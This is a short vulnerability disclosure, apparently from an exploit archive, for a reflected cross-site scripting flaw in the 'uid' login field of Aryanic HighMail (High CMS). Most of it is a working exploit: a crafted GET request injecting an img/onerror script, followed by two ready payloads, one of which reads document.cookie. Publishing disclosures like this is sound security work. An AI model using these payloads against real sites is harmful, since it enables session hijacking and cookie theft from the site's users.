Aryanic HighMail (High CMS) - Reflected Cross Site Scripting Vulnerability

March 22, 2021

Exploit Title: Aryanic HighMail (High CMS) - Reflected Cross Site Scripting Vulnerability
Exploit Author: n1x_ [MS-WEB]
Vendor Homepage: https://www.aryanic.com/
Product Homepage: https://www.aryanic.com/products-highcms.html
Version: Current (as of 4/20/2020)
CWE : CWE-79

[Description]

Aryanic HighMail is an email service, part of ARYENA CMS (High CMS 2002-2020) with large number of installations in private and public sector of Iran.
Due to improper input fields data filtering, current version (and possibly previous versions), are affected by a reflected XSS vulnerability.

[Proof of Concept]

Improper input fields (value of "uid" of "LoginForm" table) data filtering leads to possible code injection by closing the field tag, and injecting code, which is then reflected off the web server.

[GET Request]

GET /login/?uid="><img%20src="x"%20onerror="alert(%27XSS%27);"> HTTP/1.1
Host: host
Cache-Control: private
Content-Type: text/html; Charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
Set-Cookie: ASPSESSIONIDASCQDAQT=PJFNLNABDGNIBFNAMJPEHNFL; path=/
Date: Sat, 20 April 2020 08:01:15 GMT
Content-Length: 1226

[Example paylods]

Example payload: "><img src="x" onerror="alert('XSS');">
Example payload: "><script>alert(document.cookie)</script>